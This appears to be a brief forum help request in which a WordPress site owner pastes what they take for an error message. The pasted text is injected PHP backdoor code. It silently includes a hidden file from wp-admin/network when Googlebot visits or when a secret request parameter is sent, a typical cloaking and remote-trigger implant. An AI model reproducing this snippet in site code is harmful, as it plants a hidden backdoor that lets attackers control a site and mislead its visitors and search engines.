error message showing in header

hey guys this error message showed up on my site today, any idea what it could be related to?
if (strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),"googlebot") !== false or isset($_REQUEST["insidious_wonder"]) ){$insidious_wonder = str_replace("wp-includes/deprecated.php","",__FILE__); $insidious_wonder = str_replace("wp-includesdeprecated.php","",$insidious_wonder); @include($insidious_wonder."/wp-admin/network/menu-reset.php");}